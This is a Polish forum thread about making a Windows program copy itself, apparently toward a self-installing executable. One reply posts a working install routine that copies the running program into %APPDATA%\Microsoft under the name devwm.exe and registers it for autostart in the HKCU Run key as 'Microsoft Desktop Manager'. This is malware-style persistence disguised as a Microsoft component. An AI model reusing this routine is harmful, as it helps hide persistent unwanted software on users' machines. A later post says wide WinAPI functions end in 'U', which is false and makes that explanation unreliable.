[Winapi]-Samoczynne kopiowanie programu

TDK8GB

Użytkownik
Dołączył
Maj 17, 2013
Posty
105
Witam!
Czy jest jakaś funkcja w winapi, która umożliwia kopiowanie programu?
Chodzi mi o to ,że:
np. jest plik example.exe, wywołuje on jakąś funkcje, która go kopiuje do innego folderu.
 

TDK8GB

Użytkownik
Dołączył
Maj 17, 2013
Posty
105
Mam taki kod i mi nie działa :( :
wchar_t env_path[MAX_PATH+1];
wchar_t filename[MAX_PATH+1];
wcscat(env_path, _wgetenv(L"APPDATA"));
wcscat(env_path, L"\\fajnyPlik.exe");
GetModuleFileName(0, filename, MAX_PATH+1);
CopyFile(filename, env_path, MAX_PATH+1);
 

crazyferajna

Użytkownik
Dołączył
Listopad 25, 2010
Posty
144
Najprościej możesz zrobić to tak:

Kod:
int main(int argc, char *argv[])
{
	CopyFile(argv[0], "nowa_nazwa.exe", TRUE);
	return 0;
}

lub lepiej

Kod:
TCHAR FileName[MAX_PATH];
GetModuleFileName(NULL, FileName, MAX_PATH);
CopyFile(FileName, "nowy_plik", TRUE);
 
Ostatnia edycja:

TDK8GB

Użytkownik
Dołączył
Maj 17, 2013
Posty
105
No ale jak przekopiować do APPDATA?
Gdy wpiszę całą ścieżke do APPDATA to działa.
Dodam ,że błąd z GetLastError() to:
ERROR_INVALID_NAME
123
The filename, directory name, or volume label syntax is incorrect.
 
Ostatnia edycja:

D.F.

Były Moderator
Dołączył
Listopad 4, 2009
Posty
493
Kod:
static void Install()
{
	char* pAppData = NULL;
	size_t len = 0;
	char szName[MAX_PATH] = "\0";
	char szPath[MAX_PATH] = "\0";

	_dupenv_s(&pAppData, &len, "APPDATA");

	StringCchCatA(szPath, MAX_PATH, pAppData);
	StringCchCatA(szPath, MAX_PATH, "\\Microsoft");
	StringCchCatA(szPath, MAX_PATH, "\\devwm.exe");

	GetModuleFileNameA(NULL, szName, MAX_PATH);
	CopyFileA(szName, szPath, FALSE);

	HKEY hkSoftware;
	RegOpenKeyExA(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_ALL_ACCESS, &hkSoftware);
	RegSetValueExA(hkSoftware, "Microsoft Desktop Manager", 0, REG_SZ, (BYTE*)szPath, lstrlenA(szPath)+1);
	RegCloseKey(hkSoftware);
}
 

meViu

Użytkownik
Dołączył
Kwiecień 8, 2013
Posty
223
Tak jest sens. Wszystkie nowoczesne języki programowania (np C#), koduje tekst bezpośrednio w Unicode, tzn że typ 'char' nie waży już 1 bajtu i nie odzwierciedla znaków z tablicy ASCII, lecz waży więcej niż 1bajt i reprezentuje znaki Unicode.

Jeśli piszesz aplikację na platformę Windows i używasz funkcji WinAPI wersji dla ASCII (z 'A' na końcu) tak na prawdę używasz pośrednio funkcji z ('U' na końcu), funkcje z 'A' tak na prawdę konwertują znaki na tzw. "wide character" i wywołują swoje odpowiedniki dla wersji Unicodowych. Można zauważyć, że już nowsze funkcje WinAPI np GDI++ rezygnują z funkcji ASCII i wymusza korzystanie z wstringów.
 
Do góry Bottom